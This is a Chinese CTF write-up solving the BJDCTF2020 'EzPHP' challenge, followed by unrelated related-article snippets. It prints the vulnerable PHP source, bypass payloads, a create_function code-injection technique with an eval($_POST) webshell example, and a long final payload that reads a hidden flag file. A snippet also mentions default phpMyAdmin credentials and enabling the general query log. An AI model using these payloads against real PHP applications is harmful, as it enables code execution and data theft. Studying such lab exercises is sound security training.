当前位置: 首页 > news >正文

[BJDCTF2020]EzPHP

这一道题里面的知识点实在是太多了,即使这道题是我最喜欢的RCE也有点大脑停转了,所以还是做个笔记,以后方便回忆

直接跳过打点,来到源码

<?php
highlight_file(__FILE__);
error_reporting(0); $file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";if($_SERVER) { if (preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING']))  die('You seem to want to do something bad?'); 
}if (!preg_match('/http|https/i', $_GET['file'])) {if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { $file = $_GET["file"]; echo "Neeeeee! Good Job!<br>";} 
} else die('fxck you! What do you want to do ?!');if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value))  die('fxck you! I hate English!'); } 
} if (file_get_contents($file) !== 'debu_debu_aqua')die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){extract($_GET["flag"]);echo "Very good! you know my password. But what is flag?<br>";
} else{die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { include "flag.php";$code('', $arg); 
} ?>

短短51行代码居然有六层过滤,也是阴的没边,这次的payload至今为止也是鼠鼠手打过最长的

第一层
if($_SERVER) { if (preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING']))  die('You seem to want to do something bad?'); 
}

首先看第一块,这里是正则匹配的过滤,但是注意到(注意力惊人)这里用的是$_SERVER

众所周知,get传参的时候会对get传的参数进行url解码,但是$_SERVER['QUERY_STRING']却不会。
所以说对于第一层过滤的所有字母和字符,都可以用url编码进行绕过。

第二层
if (!preg_match('/http|https/i', $_GET['file'])) {if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { $file = $_GET["file"]; echo "Neeeeee! Good Job!<br>";} 
} else die('fxck you! What do you want to do ?!');

这里就很简单了,传入debu=aque_is_cute的url编码格式绕过前面第一个过滤

%64ebu=%61qua_is_%63ute%0a这里我只部分进行了编码,至于file参数等下再说

但是这里我们发现又触发了第三层的过滤

第三层
if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value))  die('fxck you! I hate English!'); } 
}

这里说他讨厌英语,传的参数值不能有英文的26个字母,但是我们又注意到这里是$_REQUEST传参,所以可以绕过

$_REQUEST传参时同时接收GET和POST的传参,但POST拥有更高的优先级,所以只需要POST相同的参数即可绕过。

%64ebu=%61qua_is_%63ute%0adebu=1

我们继续往下看,来到第四层

第四层
if (file_get_contents($file) !== 'debu_debu_aqua')die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");

这里我们要让file的值等于debu_debu_aqua,所以这里要用到data伪协议,当然也是要和上面一样绕过第二层和第三层的过滤

file=?%64%65%62%75=%61%71%75%61_is_%63%75%74%65%0A&file=data://text/plain,%64%65%62%75_%64%65%62%75_%61%71%75%61&%64ebu=%61qua_is_%63ute%0adebu=1&file=1
第五层
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){extract($_GET["flag"]);echo "Very good! you know my password. But what is flag?<br>";
} else{die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

这里是简单的sha1绕过MD5和sha1绕过方式总结正好今天下午刚看过

这里用到的是数组绕过,注意url编码就好

?file=?%64%65%62%75=%61%71%75%61_is_%63%75%74%65%0A&file=data://text/plain,%64%65%62%75_%64%65%62%75_%61%71%75%61&%64ebu=%61qua_is_%63ute%0a&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&debu=1&file=1
第六层
if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { include "flag.php";$code('', $arg); 
} ?>

这里是最核心的一层,也是我拼尽全力无法战胜的一层,所以去看了wp才恍然大悟

首先这里有两个参数$code$arg可控,可以利用$code('', $arg); 注入。

这里介绍一个函数:

PHP 中的 create_function($args, $code) 会创建一个匿名函数,举个例子:

比如我们传:

flag[code]=create_function
flag[arg]=}eval($_POST[cmd]);//

那么代码就变成:

$code = create_function;
$arg = '}eval($_POST[cmd]);//';$code('', $arg);  // => create_function('', '}eval($_POST[cmd]);//');

这个返回的函数等价于

function($a, $b) {}eval($_POST[cmd]);//
}

了解了原理,接下来我们来构造payload,因为过滤实在太多,所以我们先用:

flag[arg]=}var_dump(get_defined_vars());// 
flag[code]=create_function

来试一试,注意这里要用}提前闭合函数体

这样就得到了许多的变量键值,我就不贴上来了,最后有一个

"Baka, do you think it's so easy to get my flag? I hid the real flag in rea1fl4g.php 23333"}

这里可以利用require(),来代替include()

require(php://filter/read=convert.base64- encode/resource=rea1fl4g.php);//

但是过滤的限制太多了,所以我们对其进行base64编码

%66%6c%61%67[%61%72%67]=};require(%62%61%73%65%36%34_%64%65%63%6f%64%65(cmVhMWZsNGcucGhw));var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_functiondebu=1&file=1

但是这里只得到了假的flag,这里我查了很多资料,但是都只是提到了要用取反来读flag,没有人提这里仅仅进行URL编码不能读取到flag的问题。在我把这道题的源码全部读了一遍后,我猜测问题大概是出在unset()函数这里

unset函数本来是用来销毁变量的,这里让$realflag执行unset,本意是为了避免我们用上面的方法直接get_difined_vars直接读取flag,却影响了文件包含读取flag内容,所以这里要用到取反编码进行读取,后面我会写一遍关于unset函数的文章来详细解释

最终payload:

// GET
?debu=aqua_is_cute%0a&file=data://text/plain,debu_debu_aqua&shana[]=1&passwd[]=2&flag[arg]=};require(php://filter/read=convert.base64-encode/resource=rea1fl4g.php);var_dump(get_defined_vars());//&flag[code]=create_function?%64%65%62%75=%61%71%75%61_is_%63%75%74%65%0A&file=data://text/plain,%64%65%62%75_%64%65%62%75_%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%61%72%67]=;}require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f));//&%66%6c%61%67[%63%6f%64%65]=create_function// POST
debu=1&file=1

得到base64源码解码后得到flag

相关文章:

[BJDCTF2020]EzPHP

这一道题里面的知识点实在是太多了&#xff0c;即使这道题是我最喜欢的RCE也有点大脑停转了&#xff0c;所以还是做个笔记&#xff0c;以后方便回忆 直接跳过打点&#xff0c;来到源码 <?php highlight_file(__FILE__); error_reporting(0); $file "1nD3x.php"…...

企业微信-自建应用

1. 创建自建应用 2. 配置小程序/H5入口 3. 准备 &#xff1a; CorpId&#xff08;企业id&#xff09;、 AgentID&#xff08;应用id&#xff09;、 CorpsecretID&#xff08;应用Secret&#xff09; 4. 配置企业可信IP 5. 如H5需要授权登录&#xff0c;那么需要配置网页授…...

[FPGA基础] 时钟篇

Xilinx FPGA 时钟管理详细文档 本文档详细介绍 Xilinx FPGA 中的时钟管理&#xff0c;包括时钟资源、时钟管理模块、设计注意事项以及最佳实践。适用于使用 Xilinx 7 系列、UltraScale 和 UltraScale 系列 FPGA 的开发者。 1. 时钟资源概述 Xilinx FPGA 提供丰富的时钟资源&a…...

高德火星坐标(GCJ-02)转WGS84坐标

高德火星坐标(GCJ-02)转WGS84坐标 1 转换算法 import mathdef gcj02_to_wgs84(lon, lat):"""高德火星坐标(GCJ-02)转WGS84坐标"""a 6378245.0 # 长半轴ee 0.00669342162296594323 # 扁率def transform_lon(x, y):ret 300.0 x 2.0 * y …...

基于opencv和PaddleOCR识别身份证信息

1、安装组件 pip install --upgrade paddlepaddle paddleocr 2、完整code import cv2 import numpy as np from paddleocr import PaddleOCR# 初始化 PaddleOCR use_angle_clsTrue, lang"ch", det_db_thresh0.1, det_db_box_thresh0.5)def preprocess_image(image…...

Day-1 漏洞攻击实战

实训任务1 漏洞攻击实战一 使用 御剑 得到网站后台地址 数据库登录与日志配置​​ 使用默认密码 root:root 登录phpMyAdmin&#xff0c;执行 SHOW VARIABLES LIKE general% 查看日志状态。 开启日志功能&#xff1a;set global general_log "ON";&#xff08;配图&…...

穿透数据迷雾:PR 曲线与 ROC 曲线的深度剖析+面试常见问题及解析

一、混淆矩阵与评价指标基础 混淆矩阵核心构成&#xff1a;混淆矩阵是分类模型性能评估的基石&#xff0c;以 22 矩阵形式呈现分类结果。其中&#xff0c;真正例&#xff08;TP&#xff09;表示实际为正类且被正确预测的样本&#xff1b;假正例&#xff08;FP&#xff09;是实…...

【Linux篇】轻松搭建命名管道通信:客户端与服务器的互动无缝连接

从零开始&#xff1a;基于命名管道实现客户端与服务器的实时通信 一. 命名管道1.1 基本概念1.2 创建命名管道1.2.1 创建方法1.2.2 示例代码&#xff1a;1.2.3 注意事项&#xff1a;1.3 与匿名管道区别 1.4 打开原则1.4.1 管道打开顺序1.4.2 阻塞行为1.4.3 管道的关闭1.4.4 关闭…...

快充协议芯片XSP04D支持使用一个Type-C与电脑传输数据和快充取电功能

快充是由充电器端的充电协议和设备端的取电协议进行握手通讯进行协议识别来完成的&#xff0c;当充电器端的充电协议和设备端的取电协议握手成功后&#xff0c;设备会向充电器发送电压请求&#xff0c;充电器会根据设备的需求发送合适的电压给设备快速供电。 设备如何选择快充…...

MySQL的窗口函数(Window Functions)

一、窗口函数核心概念 ​​窗口&#xff08;Window&#xff09;​​ 窗口是数据行的集合&#xff0c;由OVER()子句定义。它决定了函数计算的“数据范围”&#xff0c;可以是一个分区的全部行、当前行前后的行&#xff0c;或动态变化的子集。 ​​语法结构​​ SELECT window_f…...

一个很简单的机器学习任务

一个很简单的机器学习任务 前言 基于线上colab做的一个简单的案例&#xff0c;应用了线性回归算法&#xff0c;预测了大概加州3000多地区的房价中位数 过程 先导入了Pandas&#xff0c;这是一个常见的Python数据处理函数库 用Pandas的read_csv函数把网上一个共享数据集&…...

ORION:通过视觉-语言指令动作生成的一个整体端到端自动驾驶框架

25年3月来自华中科技和小米电动汽车的论文“ORION: A Holistic End-to-End Autonomous Driving Framework by Vision-Language Instructed Action Generation”。 由于因果推理能力有限&#xff0c;端到端 (E2E) 自动驾驶方法仍然难以在交互式闭环评估中做出正确决策。当前的方…...

python全栈-flask

python全栈-flask 文章目录 入门上手hello worldflask运行方式测试路由with app.test_request_context():debug模式配置flask参数动态路由数据类型自定义转换器to_pythonPostMan&#xff08;API测试查询参数的获取请求体参数上传文件其它参数url_for 函数重定向响应内容自定义响…...

Unity中的数字孪生项目:两种输入方式对观察物体的实现

在数字孪生项目中&#xff0c;精确的相机控制至关重要。相机不仅需要灵活地跟随目标&#xff0c;还要能够平滑地旋转和缩放&#xff0c;以便观察和分析物体的各个细节。今天&#xff0c;我将通过 TouchControlCamera 和 CameraRotate 两个脚本&#xff0c;展示如何实现一个适用…...

ECharts散点图-散点图14,附视频讲解与代码下载

引言&#xff1a; ECharts散点图是一种常见的数据可视化图表类型&#xff0c;它通过在二维坐标系或其它坐标系中绘制散乱的点来展示数据之间的关系。本文将详细介绍如何使用ECharts库实现一个散点图&#xff0c;包括图表效果预览、视频讲解及代码下载&#xff0c;让你轻松掌握…...

【教程】Digispark实现串口通信

转载请注明出处&#xff1a;小锋学长生活大爆炸[xfxuezhagn.cn] 如果本文帮助到了你&#xff0c;欢迎[点赞、收藏、关注]哦~ 没想到这么老&#xff0c;很多代码都不能用&#xff0c;修了好久。。。 TinySoftwareSerial.cpp #include <stdlib.h> #include <stdio.h&g…...

GPT-4.1 开启智能时代新纪元

GPT-4.1 全解析&#xff1a;开启智能时代新纪元&#xff08;含费用详解&#xff09; 2025年4月&#xff0c;OpenAI 正式推出全新一代语言模型——GPT-4.1 系列&#xff0c;包括 GPT-4.1、GPT-4.1 Mini 和 GPT-4.1 Nano。相比以往模型&#xff0c;它在代码生成、指令理解、长文本…...

4.21 spark和hadoop的区别与联系

一、Hadoop 1. 定义 Hadoop是一个由Apache基金会开发的分布式系统基础架构。它最初是为了解决大规模数据存储和处理的问题而设计的。Hadoop的核心组件包括HDFS&#xff08;Hadoop Distributed File System&#xff09;和MapReduce。 2. HDFS&#xff08;Hadoop Distributed Fi…...

Nacos 客户端 SDK 的核心功能是什么?是如何与服务端通信的?

Nacos 客户端 SDK 的核心功能 Nacos 客户端 SDK 是应用程序集成 Nacos 能力的桥梁&#xff0c;它封装了与 Nacos 服务端交互的复杂性&#xff0c;为开发者提供了简单易用的 API。其核心功能主要围绕两大方面&#xff1a;服务发现 和 配置管理。 服务发现 (Service Discovery) …...

servlet-保存作用域

保存作用域 保存作用域&#xff1a;原始情况下&#xff0c;保存作用域我们有四个&#xff1a;page(一般不用了) 、request&#xff08;一般请求响应范围&#xff09;、session(一次会话范围)、application(整个应用程序范围)1&#xff09;request&#xff1a;一般请求响应范围…...

从规则到大模型:知识图谱信息抽取实体NER与关系RE任务近10年演进发展详解

摘要&#xff1a; 本文回顾了关系抽取与实体抽取领域的经典与新兴模型&#xff0c;清晰地梳理了它们的出现时间与核心创新&#xff0c;并给出在 2025 年不同资源与场景下的最佳实践推荐。文章引用了 BiLSTM‑CRF、BiLSTM‑CNN‑CRF、SpanBERT、LUKE、KnowBERT、CasRel、REBEL、…...

【自然语言处理与大模型】模型压缩技术之蒸馏

知识蒸馏是一种模型压缩技术&#xff0c;主要用于将大型模型&#xff08;教师模型&#xff09;的知识转移到更小的模型&#xff08;学生模型&#xff09;中。在大语言模型领域&#xff0c;这一技术特别重要。 知识蒸馏的核心思想是利用教师模型的输出作为软标签&#xff08;sof…...

yum如果备份已经安装的软件?

在 CentOS 系统中&#xff0c;你可以通过以下步骤将 yum 下载的组件打包备份到本地&#xff1a; 方法 1&#xff1a;使用 yumdownloader 直接下载 RPM 包 1. 安装 yum-utils 工具 yum install -y yum-utils2. 下载指定软件包及其依赖 yumdownloader --resolve <package-n…...

室外摄像头异常自检指南+视频监控系统EasyCVR视频质量诊断黑科技

室外监控摄像头在安防监控系统运行中&#xff0c;常出现连接不畅、设备互认失败等问题。今天我们来介绍两类安防监控摄像头的典型问题及排查步骤。 问题1&#xff1a;同品牌新摄像头无法被老录像机识别 排查步骤&#xff1a; 1&#xff09;供电检查 确认摄像头供电线路连接正…...

从本地存档到协作开发的Git简单使用

概念 工作区 : 在本地实际进行文件操作的目录 .暂存区 : 类似于缓冲区 , 用于记录准备进行下一次提交的内容 .本地仓库 : 储存在本地的完整版本库 , 包含项目的提交历史 , 分支信息和标签等 .远程仓库 : 部署在远程服务器的版本库 , 通常用于协作开发 . 文件状态 Untracked …...

在 Android 中实现通话录音

在 Android 中实现通话录音需要处理系统权限、通话状态监听和音频录制等关键步骤。以下是详细实现代码及注释&#xff0c;注意不同 Android 版本和厂商设备的兼容性问题&#xff1a; 1. 添加权限声明&#xff08;AndroidManifest.xml&#xff09; <!-- 录制音频权限 -->…...

系统分析师知识点:访问控制模型OBAC、RBAC、TBAC与ABAC的对比与应用

在信息安全领域&#xff0c;访问控制是确保数据和资源安全的关键技术。随着信息系统复杂度的提高&#xff0c;访问控制技术也在不断演进&#xff0c;从早期简单的访问控制列表(ACL)发展到如今多种精细化的控制模型。本文将深入剖析四种主流的访问控制模型&#xff1a;基于对象的…...

网络原理(TCP协议—协议格式,性质(上),状态)

目录 1.TCP协议段格式。 2.TCP协议传输时候的性质。 2.1确认应答。 2.2超时重传。 2.3连接管理。 2.3.1 三次握手。 2.3.2四次挥手。 3.TCP常见的状态。 1.TCP协议段格式。 TCP协议段是由首部和数据两部分构成的。首部包含了TCP通信所需要的各种控制信息&#xff0c;而…...

用全新发布的ChatGPT-o3搜文献写综述、专业审稿、降重润色,四个步骤轻松搞定全部论文难题!

今天和大家聊聊OpenAI近期发布的o系列模型中的两个大成果:o3和o4-mini,这个系列的模型最大特点是经过训练,会在响应之前进行更长时间的思考,给出更深入的回答。 下面文章七哥会为大家深度讲解o3模型在学术研究和论文写作方面的四大优势,并附上实用有效的使用技巧和步骤供…...

多路由器通过RIP动态路由实现通讯(单臂路由)

多路由器通过RIP动态路由实现通讯&#xff08;单臂路由&#xff09; R1(开启端口并配置IP) Router>en Router#conf t Router(config)#int g0/0 Router(config-if)#no shu Router(config-if)#no shutdown Router(config-if)#ip add 192.168.10.254 255.255.255.0 Router(c…...

分数线降低,25西电马克思主义学院(考研录取情况)

1、马克思主义学院各个方向 2、马克思主义学院近三年复试分数线对比 学长、学姐分析 由表可看出&#xff1a; 1、马克思主义理论25年相较于24年下降10分&#xff0c;为355分 3、25vs24推免/统招人数对比 学长、学姐分析 由表可看出&#xff1a; 1、 马克思主义学院25年共接…...

反转字符串

344. 反转字符串 题目 思路 双指针 设 s 长度为 n。反转可以看成是交换 s[0] 和 s[n−1]&#xff0c;交换 s[1] 和 s[n−2]&#xff0c;交换 s[2] 和 s[n−3]&#xff0c;依此类推。 代码 class Solution:def reverseString(self, s: List[str]) -> None:""&q…...

乾元通渠道商中标舟山市自然灾害应急能力提升工程基层防灾项目

近日&#xff0c;乾元通渠道商中标舟山市自然灾害应急能力提升工程基层防灾项目&#xff08;结余资金&#xff09;装备采购项目&#xff0c;乾元通作为设备厂家&#xff0c;为项目提供通信指挥类装备&#xff08;多链路聚合设备&#xff09;QYT-X1。 青岛乾元通数码科技有限公司…...

‌信号调制与解调技术基础解析

调制解调技术是通信系统中实现基带信号与高频载波信号相互转换的主要技术&#xff0c;通过调整信号特性使其适应不同信道环境&#xff0c;保障信息传输的效率和可靠性。 调制与解调的基本概念 调制&#xff08;Modulation&#xff09;‌ 将低频基带信号&#xff08;如语音或数…...

多源异构网络安全数据(CAPEC、CPE、CVE、CVSS、CWE)的作用、数据内容及其相互联系的详细分析

1. CWE&#xff08;Common Weakness Enumeration&#xff09; 作用&#xff1a;CWE 是常见软件和硬件安全弱点的分类列表&#xff0c;用于描述漏洞的根本原因&#xff08;如代码缺陷、逻辑错误等&#xff09;&#xff0c;为漏洞的根源分析提供框架。数据内容&#xff1a; 弱点…...

02_Flask是什么?

一、视频教程 02_Flask是什么 二、Flask简介 Flask 框架诞生于2010 年&#xff0c;是由 Armin 使用 Python 语言基于 Werkzeug 工具箱编写的轻量级Web开发框架。Armin 是 Python 编程语言的核心开发者之一&#xff0c;同时也是 Flask 项目的主要贡献者。 Flask主要依赖于两个核…...

突破网页数据集获取难题:Web Unlocker API 助力 AI 训练与微调数据集全方位解决方案

突破网页数据集获取难题&#xff1a;Web Unlocker API 助力 AI 训练与微调数据集全方位解决方案 背景 随着AI技术的飞速发展&#xff0c;诸如DeepSeek R1、千问QWQ32、文小言、元宝等AI大模型迅速崛起。在AI大模型训练和微调、AI知识库建设中&#xff0c;数据集的获取已成为不…...

Spark-SQL与Hive集成及数据分析实践

一、Spark-SQL连接Hive的配置 Spark-SQL支持与Hive无缝集成&#xff0c;可通过以下方式操作Hive&#xff1a; 1. 内嵌Hive&#xff1a;无需额外配置&#xff0c;直接使用&#xff0c;但生产环境不推荐。 2. 外部Hive&#xff1a; 将hive-site.xml、core-site.xml、hdfs-site…...

CI/CD

CI/CD 是一种用于软件开发和交付的实践方法&#xff0c;由持续集成&#xff08;Continuous Integration&#xff09;、持续交付&#xff08;Continuous Delivery&#xff09;和持续部署&#xff08;Continuous Deployment&#xff09;三个关键环节组成&#xff0c;以下是具体介…...

【橘子大模型】Tools/Function call

一、简介 截止目前&#xff0c;我们对大模型的使用模式仅仅是简单的你问他答。即便是拥有rag&#xff0c;也只是让大模型的回答更加丰富。但是大模型目前为止并没有对外操作的能力&#xff0c;他只是局限于他自己的知识库。 举个例子&#xff0c;到今天4.21为止&#xff0c;你…...

解决Mac 安装 PyICU 依赖失败

失败日志&#xff1a; 解决办法 1、使用 homebrew 安装相关依赖 brew install icu4c 安装完成后&#xff0c;设置环境变量 echo export PATH"/opt/homebrew/opt/icu4c77/bin:$PATH" >> ~/.zshrcecho export PATH"/opt/homebrew/opt/icu4c77/sbin:$PATH…...

Kafka 生产者的幂等性与事务特性详解

在分布式消息系统中&#xff0c;消息的可靠性传输是一个核心问题。Kafka 通过幂等性&#xff08;Idempotence&#xff09;和事务&#xff08;Transaction&#xff09;两个重要特性来保证消息传输的可靠性。幂等性确保在生产者重试发送消息的情况下&#xff0c;不会在 Broker 端…...

ubuntu--汉字、中文输入

两种输入框架的安装 ibus 链接 (这种方式安装的中文输入法不是很智能&#xff0c;不好用)。 Fcitx 链接这种输入法要好用些。 简体中文检查 fcitx下载和配置 注意&#xff1a;第一次打开fcitx-config-qt或者fcitx configuration可能没有“简体中文”&#xff0c;需要把勾…...

LabVIEW 开发中数据滤波方式的选择

在 LabVIEW 数据处理开发中&#xff0c;滤波是去除噪声、提取有效信号的关键环节。不同的信号特性和应用场景需要匹配特定的滤波方法。本文结合典型工程案例&#xff0c;详细解析常用滤波方式的技术特点、适用场景及选型策略&#xff0c;为开发者提供系统性参考。 ​ 一、常用…...

【图像轮廓特征查找】图像处理(OpenCV) -part8

17 图像轮廓特征查找 图像轮廓特征查找其实就是他的外接轮廓。 应用&#xff1a; 图像分割 形状分析 物体检测与识别 根据轮廓点进行&#xff0c;所以要先找到轮廓。 先灰度化、二值化。目标物体白色&#xff0c;非目标物体黑色&#xff0c;选择合适的儿值化方式。 有了轮…...

丝杆升降机蜗轮蜗杆加工工艺深度解析:从选材到制造的全流程技术要点​

在机械传动领域&#xff0c;丝杆升降机凭借其高精度、大负载等优势&#xff0c;广泛应用于自动化设备、精密仪器等众多场景。而蜗轮蜗杆作为丝杆升降机的核心传动部件&#xff0c;其加工工艺的优劣直接决定了设备的传动效率、使用寿命及稳定性。本文将深入剖析丝杆升降机蜗轮蜗…...

git远程分支重命名(纯代码操作)

目录 步骤 1&#xff1a;重命名本地分支 步骤 2&#xff1a;推送新分支到远程 简单讲讲&#xff1a; 2.1.-u 和 --set-upstream 的区别 2.2. 为什么需要设置上游&#xff08;upstream&#xff09;&#xff1f; 示例对比&#xff1a; 2.3. 如何验证是否设置成功&#xff…...

《AI大模型应知应会100篇》第31篇:大模型重塑教育:从智能助教到学习革命的实践探索

第31篇&#xff1a;大模型重塑教育&#xff1a;从智能助教到学习革命的实践探索 摘要 当北京大学的AI助教在凌晨三点解答学生微积分难题&#xff0c;当Khan Academy的AI导师为每个学生定制专属学习路径&#xff0c;我们正见证教育史上最具颠覆性的技术变革。本文通过真实教育…...

安装Github软件详细流程,win10系统从配置git到安装软件详解,以及github软件整合包制作方法(

win10系统部署安装开源ai必备 一、安装git应用程序&#xff08;用来下来github软件&#xff09; 官网下载git的exe可执行文件&#xff0c;Git - Downloads 或者这里下夸克网盘分享 运行git应用程序&#xff0c;一路’Next’到底即可。 配置安装路径 此时如果直接运行git命…...

重构・协同・共生:传统代理渠道数字化融合全链路解决方案

当 90 后经销商开始用直播卖家电&#xff0c;当药品流向数据在区块链上实时流转&#xff0c;传统代理渠道正在经历一场「数字觉醒」。面对流量碎片化、运营低效化的行业痛点&#xff0c;如何让扎根线下数十年的渠道网络&#xff0c;在数字化平台上焕发新生&#xff1f;蚓链提炼…...